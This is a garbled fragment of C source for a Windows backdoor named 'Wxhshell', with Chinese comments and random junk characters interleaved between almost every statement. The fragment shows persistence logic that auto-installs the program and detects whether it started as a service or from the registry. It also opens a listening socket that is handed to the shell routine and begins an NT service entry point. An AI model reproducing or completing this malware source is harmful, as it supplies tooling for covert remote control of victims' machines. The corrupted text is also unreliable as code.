V Xm|~1 k_3 CloseHandle(hProcess); du~V=%9 h*40jZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4sORp^t'Q if(hProcess==NULL) return 0; rp"5176
NZZy^p&O HMODULE hMod; M:oM(K+ char procName[255]; 6jBi?>[I unsigned long cbNeeded; =NY55t. |/xx**? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uh.;Jj; e-v| CloseHandle(hProcess); 'ZI8nMY }wp/,\_
> if(strstr(procName,"services")) return 1; // 以服务启动 }ssja,; &b^~0Z return 0; // 注册表启动 l"+8>Mm } n6t@ e^ `C|];mf(# // 主模块 <FU?^*~ int StartWxhshell(LPSTR lpCmdLine) <)!,$]S { 'Nt)7U>oC9 SOCKET wsl; a:l-cZ/! BOOL val=TRUE; YU8]W% int port=0; ;/Z-|+!IJt struct sockaddr_in door; |
?vm.zp eC%Skw if(wscfg.ws_autoins) Install(); Cy/VH"G= eCsk\f` port=atoi(lpCmdLine); vK+reXE A-uIZ
zC if(port<=0) port=wscfg.ws_port; LWTPNp:"{w z7AWWr=H WSADATA data; 8TAJ#Lm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <B0f Xj{fM\,"9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R{bG`C8.d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \5! 7zPc door.sin_family = AF_INET; o<3$|`S& door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Z;/Sh door.sin_port = htons(port); pw4^E|X MIr+4L if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M.s'~S7y closesocket(wsl); 1d FuoX return 1; 8 I_ } 4c(Em+4 *@PM,tS; if(listen(wsl,2) == INVALID_SOCKET) { 7mdd}L^h
Z closesocket(wsl); 7p2xst return 1; I_z(ft. } 7_ayn#;y Wxhshell(wsl); p)iEwl}!j WSACleanup(); 0'Ho'wDb , p~1fB-/ return 0; J+E,Ui ZU }]mxKz } mrnPZf i lTq"j?#E]m // 以NT服务方式启动 e*lL. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M:}u| { ZGR5"el! DWORD status = 0; f4Y)GO<R] DWORD specificError = 0xfffffff; EI 35&7( V+lF|CZb5 serviceStatus.dwServiceType = SERVICE_WIN32; zM=MFKhi ~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; "EMW'>&m |